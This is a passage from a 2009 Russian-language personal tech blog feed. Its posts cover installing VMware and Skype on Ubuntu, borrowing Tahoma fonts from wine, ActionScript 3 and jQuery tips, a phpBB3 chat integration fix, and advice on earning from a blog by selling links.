<p>Заходим  в терминал</p>
<p>Ставим пакеты</p>
<p><strong>sudo aptitude install build-essential linux-kernel-headers linux-kernel-devel</strong></p>
<p>Переходим в директорию с дистрибутивом и  выполняем</p>
<p><strong>gksudo bash ./VMware-Workstation-Full-7.0.0-203739.i386.bundle </strong></p>
<p>Готово</p>
<p>в Меню  Приложения-> Системные  утилиты появилась vmware</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/12/14/ubuntu-ustanovka-vmware-workstation/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ubuntu и tahoma</title>
		<link>http://saintist.ru/2009/12/14/tahoma-for-ubuntu/</link>
		<comments>http://saintist.ru/2009/12/14/tahoma-for-ubuntu/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 09:22:53 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Tahoma]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=935</guid>
		<description><![CDATA[Перешел на Ubuntu Linux. Так как часто приходится верстать, а шрифты необходимые (Используемые Windows) под Ubuntu отсутствуют. Нашел решение с Tahoma. Tahoma есть в wine. Ставим wine sudo api-get install wine Копируем 2 шрифта Tahoma из /usr/share/wine/fonts/ в /usr/share/fonts/ и в /usr/share/fonts/truetype/ttf-liberation выполняем fc-cache -fv После перезагрузки браузер стал воспринимать Tahoma ps:как вариант поднять на [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/12/Tahoma_big.jpg"><img class="size-medium wp-image-937 aligncenter" title="Tahoma_big" src="http://saintist.ru/wp-content/uploads/2009/12/Tahoma_big-300x203.jpg" alt="Tahoma_big" width="300" height="203" /></a></p>
<p>Перешел на  Ubuntu Linux.</p>
<p>Так как часто приходится верстать, а шрифты необходимые (Используемые  Windows)  под Ubuntu отсутствуют. Нашел  решение с Tahoma.<br />
<span id="more-935"></span></p>
<p>Tahoma есть в wine.</p>
<p>Ставим wine<br />
<strong>sudo api-get install wine</strong></p>
<p>Копируем 2 шрифта Tahoma из<br />
<strong>/usr/share/wine/fonts/</strong><br />
в</p>
<p><strong>/usr/share/fonts/</strong></p>
<p>и в</p>
<p><strong>/usr/share/fonts/truetype/ttf-liberation</strong></p>
<p>выполняем</p>
<p><strong>fc-cache -fv</strong></p>
<p>После перезагрузки браузер  стал  воспринимать Tahoma</p>
<p>ps:как вариант поднять на  vmware windows с  нужным софтом</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/12/14/tahoma-for-ubuntu/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Ubuntu устанавливаем Skype</title>
		<link>http://saintist.ru/2009/12/11/ubuntu-ustanavlivaem-skype/</link>
		<comments>http://saintist.ru/2009/12/11/ubuntu-ustanavlivaem-skype/#comments</comments>
		<pubDate>Fri, 11 Dec 2009 10:50:12 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Skype]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=923</guid>
		<description><![CDATA[Длительное время пользовался Windows XP из-за Flash, Photoshop и т.п. Надоело. Сегодня перехожу на Linux. Одно время пользовался Mandriv-ой. В этот раз выбрал в качестве операцилнки Ubuntu. Много о ней наслышан. ОСновным средством общения для меня в данный момент является Skype. В стандартной десктоп сборке Ubuntu его не было. В Linux несилен скажу сразу Скачал [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/12/skype.png"><img class="size-full wp-image-924 aligncenter" title="skype" src="http://saintist.ru/wp-content/uploads/2009/12/skype.png" alt="skype" width="352" height="400" /></a></p>
<p>Длительное время пользовался Windows XP из-за Flash, Photoshop  и т.п. Надоело. Сегодня перехожу на Linux. Одно время пользовался Mandriv-ой.</p>
<p>В этот раз  выбрал  в качестве операцилнки Ubuntu. Много о ней наслышан.</p>
<p>ОСновным средством общения для меня в данный момент является Skype. В стандартной десктоп сборке Ubuntu  его не было.</p>
<p>В Linux  несилен скажу сразу <img src='http://saintist.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span id="more-923"></span></p>
<p>Скачал   deb пакет с сайта Skype. Через GDebi  инсталлер не захотел ставиться. Написало что нехватает библиотек</p>
<p>Перечитал  довольно много информации по поводу установки  Skype под  Ubuntu.</p>
<p>И так : <strong>Ubuntu устанавливаем Skype</strong></p>
<p>1.Заходим в терминал  под root-ом</p>
<p>2. Добавим репозитарий:</p>
<p><strong>gksudo gedit /etc/apt/sources.list</strong></p>
<p>в открывшемся окне в текст добавляем строку</p>
<p>добавляем строку:</p>
<p><strong>deb http://download.skype.com/linux/repos/debian/ stable non-free</strong></p>
<p>сохраняем</p>
<p>3. Обновляем информацию про пакеты:</p>
<p><strong>sudo apt-get update</strong></p>
<p>4. Устанавливаем Skype:</p>
<p><strong>sudo apt-get install skype</strong></p>
<p>5. Запускаем Skype из меню &#171;Программы&#187; &#8212; &#171;Интернет&#187;.</p>
<p>Вот и все, успехов</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/12/11/ubuntu-ustanavlivaem-skype/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>AS3 создаем (загружаем ) MovieClip по linkage identifier library (идентификатору в  библиотеке)</title>
		<link>http://saintist.ru/2009/11/07/as3-sozdaem-zagruzhaem-movieclip-po-linkage-identifier-library-identifikatoru-v-biblioteke/</link>
		<comments>http://saintist.ru/2009/11/07/as3-sozdaem-zagruzhaem-movieclip-po-linkage-identifier-library-identifikatoru-v-biblioteke/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 13:14:40 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[flash]]></category>
		<category><![CDATA[flash ActionScript 3]]></category>
		<category><![CDATA[Action Script 3]]></category>
		<category><![CDATA[AS3]]></category>
		<category><![CDATA[linkage identifier]]></category>
		<category><![CDATA[MovieClip]]></category>
		<category><![CDATA[Script]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=903</guid>
		<description><![CDATA[Недавно (относительно ) перешел на As3, Пишу все на чистом скрипте, руками манипуляции сведены к нулю, и очень часто бывают ситуации когда решение в ActionScript2 очевидно а вот в 3 версии Action Script не совсем, до той поры пока не находишь верное решение. Например у меня естm необходимость вставить изображение в формате jpeg png или [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/11/MovieClip-linkage-identifier.JPG"><img class="size-medium wp-image-904 aligncenter" title="MovieClip-linkage-identifier" src="http://saintist.ru/wp-content/uploads/2009/11/MovieClip-linkage-identifier-300x232.jpg" alt="MovieClip-linkage-identifier" width="300" height="232" /></a></p>
<p>Недавно (относительно ) перешел на As3, Пишу все на чистом  скрипте, руками манипуляции сведены к нулю, и очень часто бывают ситуации   когда решение в ActionScript2 очевидно  а вот в 3 версии Action Script не совсем, до той поры пока не находишь  верное решение.<br />
<span id="more-903"></span></p>
<p>Например у меня естm необходимость вставить изображение в формате jpeg png или gif  в сцену  или объект сцены, не  подгружая его  а разместив его в библиотеке.</p>
<p><strong>Как это сделать в Action Script 3? </strong></p>
<p>1 Добавляем в библиотеку  объект тип MovieClip</p>
<p style="text-align: center;">
<a href="http://saintist.ru/wp-content/uploads/2009/11/mypic.JPG"><img class="size-medium wp-image-905 aligncenter" title="mypic" src="http://saintist.ru/wp-content/uploads/2009/11/mypic-231x300.jpg" alt="mypic" width="231" height="300" /></a></p>
<p> </p>
<p>жмем  его свойства<br />
ставим галку [Export for ActionScript]</p>
<p>в поле class пишем  имя класса который станет дочерним классом MovieClip</p>
<p>вставляем в  созданный экземпляр  в его сцену  нужную нам картинку, просто вытащить картинку насколько мне известно нельзя, нужно ее упаковать в MovieClip</p>
<p>как добавить из  библиотеки картинку на сцену</p>
<p><strong>var mc_my:MovieClip=new myPic();</strong></p>
<p><strong>this.addChild(mc_my)</strong></p>
<p>вот и все</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/11/07/as3-sozdaem-zagruzhaem-movieclip-po-linkage-identifier-library-identifikatoru-v-biblioteke/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>phpbb ajax chat</title>
		<link>http://saintist.ru/2009/10/26/phpbb-ajax-chat/</link>
		<comments>http://saintist.ru/2009/10/26/phpbb-ajax-chat/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 17:12:10 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[phpbb3]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[chat]]></category>
		<category><![CDATA[phpbb]]></category>
		<category><![CDATA[phpbb3 ajax chat]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=898</guid>
		<description><![CDATA[Получил заказ на разработку ajax чата для phpbb. Просмотрев существующие решения, и их слабые места, написал с нуля свой мод phpbb. Получилось хороше. Чат выводится в iframe. Использует одну библиотеку из phpbb, соответственно малая нагрузка на сервер. common.php не использует. Авторизированные пользователи могут писать сообщения в чат , админы могут удалять сообщения, как свои так [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/10/phpbb_chat.JPG"><img class="size-medium wp-image-899 aligncenter" title="phpbb_chat" src="http://saintist.ru/wp-content/uploads/2009/10/phpbb_chat-300x94.jpg" alt="phpbb_chat" width="300" height="94" /></a></p>
<p>Получил заказ на разработку ajax чата для  phpbb. Просмотрев существующие решения, и  их слабые места, написал с нуля свой мод phpbb.<br />
<span id="more-898"></span></p>
<p>Получилось  хороше.<br />
Чат выводится в iframe.  Использует одну библиотеку из  phpbb, соответственно малая нагрузка на сервер.  common.php  не использует. Авторизированные пользователи могут писать сообщения в чат , админы могут удалять сообщения, как свои так и чужие, гости просто читать сообщения.<br />
Чат использует свою коллекцию смайлов (в текущем варианте смайлы skype). Но можно сделать что используются смайлы  форума.<br />
 Также можно просмотреть лог сообщений в чате.<br />
Все введенные линки и  email адреса кликабельны (noindex, nofollow).<br />
Подсветка разными  цветами  текста сообщений в чате.</p>
<p>Настраиваются:<br />
- время обновления<br />
- количество сообщений выводимых  при первичном обновлении  страницы</p>
<p>Пользователями чата становятся пользователи phpbb форума. Соответственно наследуются привилегии.<br />
Для установки нужно скопировать папку с чатом на хост, добавить таблицу в базу,  и вставить iframe с сылкой  на index чата.</p>
<p>Смайлы   есть возможность  использовать skype либо qip ? ну а можно и свои  добавить</p>
<p>Также можно просмотреть лог сообщений (только зарегистрированным пользователем).</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/10/26/phpbb-ajax-chat/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>jQuery селекторы (небольшая справка)</title>
		<link>http://saintist.ru/2009/10/22/jquery-selektory-nebolshaya-spravka/</link>
		<comments>http://saintist.ru/2009/10/22/jquery-selektory-nebolshaya-spravka/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 15:16:45 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Ultimate jQuery]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=892</guid>
		<description><![CDATA[Часто сталкиваюсь с задачами по выборке средствами jQuery того или иного объекта на странице, решил для себя написать небольшую справку. Итак. Выбор по ID и имени класса аналог принципа используемого в CSS $(&#8216;#idname&#8217;); // выбор элемента с id = sidebar $(&#8216;.classname&#8217;); // выбор элементов с class = classname $(&#8216;div#idname&#8217;); // выбор элемента div с id [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/10/jquery_logo.jpg"><img class="size-full wp-image-896 aligncenter" title="jquery_logo" src="http://saintist.ru/wp-content/uploads/2009/10/jquery_logo.jpg" alt="jquery_logo" width="150" height="150" /></a></p>
<p>Часто сталкиваюсь с задачами по выборке средствами jQuery того или иного объекта на странице, решил для себя написать небольшую справку.</p>
<p>Итак.<br />
<span id="more-892"></span></p>
<p>Выбор по ID и имени класса аналог  принципа используемого в CSS</p>
<p><strong>$(&#8216;#idname&#8217;); // выбор элемента с id = sidebar<br />
$(&#8216;.classname&#8217;); // выбор элементов с class = classname<br />
$(&#8216;div#idname&#8217;); // выбор элемента div с id = idname<br />
$(&#8216;div. classname&#8217;); // выбор элементов div с class = classname</strong></p>
<h3>Выбор вложенных  элементов, потомков</h3>
<p><strong>$(&#8216;div p&#8217;); </strong>// выбор всех <strong>p</strong> элементов в элементах <strong>div</strong></p>
<p>Аналогично работает  вот такое код:</p>
<p><strong>$(&#8216;div&#8217;).find(&#8216;p&#8217;);</strong> // выбор всех <strong>p</strong> элементов в элементах <strong>div</strong></p>
<h3>Выбор только вложенных  элементов</h3>
<p><strong>$(&#8216;div &gt; p&#8217;);</strong> // выбор всех <strong>p</strong> элементов в элементах <strong>div</strong>, где <strong>p</strong> является прямым потомком <strong>div&#8217;a</strong></p>
<p><strong> </strong></p>
<p> </p>
<h3>Выборка нескольких  разных элементов:</h3>
<p><strong>$(&#8216;div, p&#8217;);</strong> // выбор всех <strong>div</strong> и <strong>p</strong> элементов</p>
<h3>Поиск по соседям:</h3>
<p><strong>$(&#8216;div+ h1&#8242;);</strong> // выбор всех <strong>h1</strong> элементов перед которыми идут div элементы<br />
<strong>$(&#8216;span ~ h1&#8242;); </strong>// выбор всех <strong>h1</strong> элементов после первого элемента span<br />
<strong>$(&#8216;#idname&#8217;).prev();</strong> // выбор предыдущего элемента от найденого<br />
<strong>$(&#8216;#idname&#8217;).next(); </strong>// выбор следующего элемента от найденого</p>
<h3>Выбор всех элементов, всех предков элемента , всех потомков элемента</h3>
<p><strong>$(&#8216;*&#8217;);</strong> // выбор всех элементов<br />
<strong>$(&#8216;ul &gt; *&#8217;);</strong> // выбор всех потомков элементов <strong>ul</strong><br />
<strong>$(&#8216;ul&#8217;).children();</strong> // &#8212; выбор всех потомков элементов <strong>ul</strong><br />
<strong>$(&#8216;ul&#8217;).parent();</strong> // выбор всех прямых предков элементов <strong>ul</strong><br />
<strong>$(&#8216;* &gt; ul&#8217;);</strong> // выбор всех предков элементов <strong>ul </strong><br />
<strong>$(&#8216;ul&#8217;).parents();</strong> // выбор всех предков элементов <strong>ul</strong><br />
<strong>$(&#8216;ul&#8217;).parents(&#8216;div&#8217;); </strong>// выбор всех предков элемента <strong>ul</strong> которые есть <strong>li</strong>, parents как параметр селектора<br />
<strong>$(&#8216;ul li:first-child&#8217;);</strong> // выбор  первого<strong> li </strong>в <strong>ul</strong><br />
<strong>$(&#8216;ul li:last-child&#8217;);</strong> // выбор  последнего<strong> li </strong>в <strong>ul</strong></p>
<p><strong>Фильтры в jQuery</strong></p>
<p><strong>$(&#8216;li:first&#8217;); </strong>// выбираем первый div в доме<br />
<strong>$(&#8216;li:last&#8217;);</strong> // выбираем последний div в доме<br />
<strong>$(&#8216;li:not(.red)&#8217;);</strong> // выбираем div&#8217;ы у которых нету класса red<br />
<strong>$(&#8216;li:even&#8217;);</strong> // выбираем четные div&#8217;ы<br />
<strong>$(&#8216;li:odd&#8217;);</strong> // выбираем нечетные div&#8217;ы<br />
<strong>$(&#8216;li:eq(N)&#8217;);</strong> // выбираем div идущим под номером N в DOMe<br />
<strong>$(&#8216;li:gt(N)&#8217;);</strong> // выбираем div&#8217;ы, индекс которых больше чем N в DOMe<br />
<strong>$(&#8216;li:lt(N)&#8217;); </strong>// выбираем div&#8217;ы, индекс которых меньше чем N в DOMe<br />
<strong>$(&#8216;:header&#8217;); </strong>// выбо заголовоков h1, h2, h3 и т.д.<br />
<strong>$(&#8216;li:animated&#8217;);</strong> // выбор элементов с активной анимацией</p>
<h3>Фильтры по контенту и видимости:</h3>
<p><strong>$(&#8216;div:contains(text)&#8217;);</strong> // выбираем div&#8217;ы содержащие текст<br />
<strong>$(&#8216;div:empty&#8217;);</strong> // выбираем пустые div&#8217;ы<br />
<strong>$(&#8216;div:has(p)&#8217;);</strong> // выбираем div&#8217;ы которые содержат p<br />
<strong>$(&#8216;div.red&#8217;).filter(&#8216;.bold&#8217;)</strong> // выбираем div&#8217;ы которые содержат класс red и класс bold<br />
<strong>$(&#8216;div:hidden&#8217;);</strong> // выбираем скрытые div&#8217;ы<br />
<strong>$(&#8216;div:visible&#8217;);</strong> // выбираем видимые div&#8217;ы</p>
<h3>Фильтры jQuery для атрибутов:</h3>
<p><strong>$(&#171;div[id]&#171;);</strong> // выбор всех div с атрибутом id<br />
<strong>$(&#171;div[title='my']&#171;);</strong> // выбор всех div с атрибутом title=my<br />
<strong>$(&#171;div[title!='my']&#171;);</strong> // выбор всех div с атрибутом title не равного my<br />
<strong>$(&#171;div[title^='my']&#171;);</strong> // выбор всех div с атрибутом title начинающихся с my<br />
<strong>$(&#171;div[title$='my']&#171;);</strong> // выбор всех div с атрибутом title заканчивающихся на my<br />
<strong>$(&#171;div[title*='my']&#171;); </strong>// выбор всех div с атрибутом title содержащим my</p>
<p>так же стоит отдельно отметить следующий фильтр:</p>
<p><strong>$(&#171;a[rel~='external']&#171;);</strong> // выбор всех A с атрибутом rel содержащим external в списке значений разделенных пробелом</p>
<p>результат  сработает на rel=&#187;nofollow external&#187; и на rel=&#187;friend external follow&#187;</p>
<h3>jQuery селекторы выбора по типу элемента и фильтров -<strong> enabled disabled selected checked</strong> :</h3>
<p><strong>$(&#171;:text&#187;);</strong> // выбор всех input элементов с типом =text<br />
<strong>$(&#171;:radio&#187;);</strong> // выбор всех input элементов с типом =radio<br />
// и так далее<br />
<strong>$(&#171;input:enabled&#187;);</strong> // выбор всех включенных элементов input<br />
<strong>$(&#171;input:checked&#187;); </strong>// выбор всех отмеченных чекбоксов</p>
<h3>Группировка фильтров jQuery:</h3>
<p><strong><strong>$(&#171;span[name=reg]:visible:has(p)&#187;)</strong>;</strong> // выбор видимого span с именем reg, который содержит тег p</p>
<h3>jQuery селекторы для работы с элементами форм:</h3>
<p><strong>$(&#171;form select[name=town] option:selected&#187;).val();</strong> // получение выбранного(-ых) элементов в селекте town<br />
<strong>$(&#171;form :radio[name=son]:checked&#187;).val();</strong> // получение выбранного значения радиобатона с именем son<br />
<strong>$(&#171;form :checkbox:checked&#187;);</strong> // выбор всех выбранных чекбоксов</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/10/22/jquery-selektory-nebolshaya-spravka/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>phpbb3 Warning includes/auth/auth_.php</title>
		<link>http://saintist.ru/2009/10/21/phpbb3-warning-includesauthauth_-php/</link>
		<comments>http://saintist.ru/2009/10/21/phpbb3-warning-includesauthauth_-php/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 20:33:16 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[phpbb3]]></category>
		<category><![CDATA[Warning]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=885</guid>
		<description><![CDATA[Делал недавно Ajax chat с интеграцией в phpbb3. Клиент сказал, что ставили до этого какой-то чат, но он много ресурсов проца ел, как я понял у них было установлено впечатляющее количество расширений для phpbb3, и при подключении в используемый ими до этого чат файла common.php загружались все эти самые расширения при каждом запросе через Ajax. [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/10/Phpbb3_logo.png"><img class="size-full wp-image-886 aligncenter" title="Phpbb3_logo" src="http://saintist.ru/wp-content/uploads/2009/10/Phpbb3_logo.png" alt="Phpbb3_logo" width="139" height="52" /></a></p>
<p>Делал недавно   Ajax chat  с интеграцией  в phpbb3.</p>
<p>Клиент сказал, что ставили до этого какой-то чат, но он  много ресурсов проца ел, как я понял  у них  было установлено впечатляющее количество расширений для phpbb3, и при подключении в используемый ими до этого чат файла common.php  загружались все эти самые расширения при каждом запросе через Ajax. Жесть одним словом.<br />
<span id="more-885"></span><br />
C фронтендом  проблем не возникло, а вот   интеграция  фишек  phpbb в чат заморочек довольно много доставила.</p>
<p>Основной задачей было  определить, авторизирован ли пользователь, и какой пользователь авторизирован, получить его логин и id   в базе.</p>
<p>Решил  не  использовать  common.php, а  написать свой упрощенный вариант (вполне возможно что дырявый <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ).</p>
<p>Столкнулся с проблеммой,  при подключении кода</p>
<p>//&#8212; грузим необходимые фенкции ядра<br />
require($phpbb_root_path . &#8216;includes/acm/acm_&#8217; . $acm_type . &#8216;.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/cache.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/template.&#8217; . $phpEx);</p>
<p>require($phpbb_root_path . &#8216;includes/session.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/auth.&#8217; . $phpEx);</p>
<p>require($phpbb_root_path . &#8216;includes/functions.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/functions_content.&#8217; . $phpEx);</p>
<p>require($phpbb_root_path . &#8216;includes/constants.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/db/&#8217; . $dbms . &#8216;.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/utf/utf_tools.&#8217; . $phpEx);</p>
<p>//set_error_handler(defined(&#8216;PHPBB_MSG_HANDLER&#8217;) ? PHPBB_MSG_HANDLER : &#8216;msg_handler&#8217;);</p>
<p>// Instantiate some basic classes</p>
<p>$user		= new user();<br />
$auth		= new auth();<br />
$template	= new template();<br />
$cache		= new cache();<br />
$db			= new $sql_db();</p>
<p>выводилось сообщение об ошибке</p>
<p><strong>Warning: session::include_once(./../includes/auth/auth_.php) [session.include-once]: failed to open stream: No such file or directory in /home/s/saintist/saintist.tmweb.ru/public_html/forum/includes/session.php on line 340</strong></p>
<p>детальное изучение файла /forum/includes/session.php показало что  все из-за того что метод  работы с БД  не указан по какой-то причине;</p>
<p><strong>решение довольно тривиальное</strong></p>
<p>в свой код , который подключает  некоторый функционал phpbb3, добавил перед  подключением классов строчку</p>
<p><strong>$config=array(&#8216;auth_method&#8217;=&gt;&#187;db&#187;);</strong></p>
<p>в результата получилось вот так</p>
<p>$config=array(&#8216;auth_method&#8217;=&gt;&#187;db&#187;);<br />
//&#8212; грузим необходимые фенкции ядра<br />
require($phpbb_root_path . &#8216;includes/acm/acm_&#8217; . $acm_type . &#8216;.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/cache.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/template.&#8217; . $phpEx);</p>
<p>require($phpbb_root_path . &#8216;includes/session.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/auth.&#8217; . $phpEx);</p>
<p>require($phpbb_root_path . &#8216;includes/functions.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/functions_content.&#8217; . $phpEx);</p>
<p>require($phpbb_root_path . &#8216;includes/constants.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/db/&#8217; . $dbms . &#8216;.&#8217; . $phpEx);<br />
require($phpbb_root_path . &#8216;includes/utf/utf_tools.&#8217; . $phpEx);</p>
<p>//set_error_handler(defined(&#8216;PHPBB_MSG_HANDLER&#8217;) ? PHPBB_MSG_HANDLER : &#8216;msg_handler&#8217;);</p>
<p>// Instantiate some basic classes</p>
<p>$user		= new user();<br />
$auth		= new auth();<br />
$template	= new template();<br />
$cache		= new cache();<br />
$db			= new $sql_db();</p>
<p>// Connect to DB</p>
<p>$db-&gt;sql_connect($dbhost, $dbuser, $dbpasswd, $dbname, $dbport, false, defined(&#8216;PHPBB_DB_NEW_LINK&#8217;) ? PHPBB_DB_NEW_LINK : false);</p>
<p>unset($dbpasswd);</p>
<p>$user-&gt;session_begin();<br />
$auth-&gt;acl($user-&gt;data);</p>
<p>и все заработало</p>
<p>но это вариант на скорую руку, можно все красивее сделать,  с автоматическим определением нужного параметра</p>
<p>что я и сделал <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  немного позже</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/10/21/phpbb3-warning-includesauthauth_-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Как заработать на своем блоге</title>
		<link>http://saintist.ru/2009/10/12/kak-zarabotat-na-svoem-bloge/</link>
		<comments>http://saintist.ru/2009/10/12/kak-zarabotat-na-svoem-bloge/#comments</comments>
		<pubDate>Mon, 12 Oct 2009 19:44:02 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Как заработать]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=881</guid>
		<description><![CDATA[Способов заработка с помощью блогов описано большое множество. Этот способ заработка более сложный и затратный с точки зрения создания и популяризации своего блога, но более перспективный и надёжный. Имея блог для людей, с хорошей посещаемостью и приличным количеством подписчиков на RSS, можно зарабатывать неплохие деньги (25-150$ в день) продавая в десятки раз меньшее количество ссылок? [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2009/10/blog-money.jpg"><img src="http://saintist.ru/wp-content/uploads/2009/10/blog-money.jpg" alt="blog-money" title="blog-money" width="320" height="253" class="alignnone size-full wp-image-882" /></a></p>
<p>Способов заработка с помощью блогов описано большое множество. Этот способ заработка  более сложный и затратный с точки зрения создания и популяризации своего блога, но более перспективный и надёжный. Имея <strong>блог для людей</strong>, с хорошей посещаемостью и приличным количеством подписчиков на RSS, можно зарабатывать неплохие деньги (25-150$ в день) продавая в десятки раз меньшее количество ссылок? чем с 20-50  говноблогов. <span id="more-881"></span><br />
Быстро (за несколько недель) создать качественный блог  не получится, скорее всего уйдет несколько месяцев, а вполне возможно и год, для  приобретения достаточной популярности и  вырастить пузомерки.<br />
Одним из  шагов к достижения этого  является четкий выбор тематики, и регулярность написания качественных  статей. Статьи необязательно могут быть  большого объема, но и слишком  короткие не подойдут (у вас же не twitter? ).<br />
В результате  набрав тИЦ (около 100-200) и ПР (2-5) можно продавать даже постовые по 10-30$ за каждый, не говоря уж и о рекламных постах, стоимость которых может доходить до 150-500$ в зависимости от популярности и тематики блога.<br />
Размещая рекламу на качественных блогах рекламодатель получает не только вес с ссылки, но и дополнительный трафик целевой аудитории на свой проект. Таким образом имея один хороший блог можно зарабатывать не меньше чем с 30-50 говноблогов, при этом затрачивая в разы меньше времени и занимаясь своим любимым делом.</p>
<p>При должном качестве блога и упорстве , как таковая отпадет необходимость в поиске рекламодателя, он сам вас найдет.</p>
<p>Но нужно лишь соблюдать нескольких правил:</p>
<p>- Продавать не более одного постового с поста<br />
- В описании блога написать, что вы продаёте только по одному постовому на пост<br />
- Ставить хорошие оценки рекламодателям и поддерживать с ними контакт<br />
- Составлять правдивое и полное описание своего блога<br />
- Естественно оформлять ссылки рекламодателей и очень желательно размещать их в теле поста, а не в конце или в начале</p>
<p>И самое главное правило, получить  прибыль получится только в том случае если проявишь  настойчивость и упорство, серьезно взявшись за  поставленную задачу.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/10/12/kak-zarabotat-na-svoem-bloge/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Затраты на создание сайта</title>
		<link>http://saintist.ru/2009/10/07/costs-of-site-development/</link>
		<comments>http://saintist.ru/2009/10/07/costs-of-site-development/#comments</comments>
		<pubDate>Tue, 06 Oct 2009 21:30:46 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>
		<category><![CDATA[Создание сайтов]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=879</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/DVstDutusx0&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/DVstDutusx0&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object> </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/10/07/costs-of-site-development/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jquery скроллбар &#8212; кастомизировать скроллбар браузера</title>
		<link>http://saintist.ru/2009/09/28/jquery-skrollbarkastomizirovat-skrollbar-brauzera/</link>
		<comments>http://saintist.ru/2009/09/28/jquery-skrollbarkastomizirovat-skrollbar-brauzera/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 19:09:31 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Ultimate jQuery]]></category>
		<category><![CDATA[browser scrollbar]]></category>
		<category><![CDATA[interfase]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=874</guid>
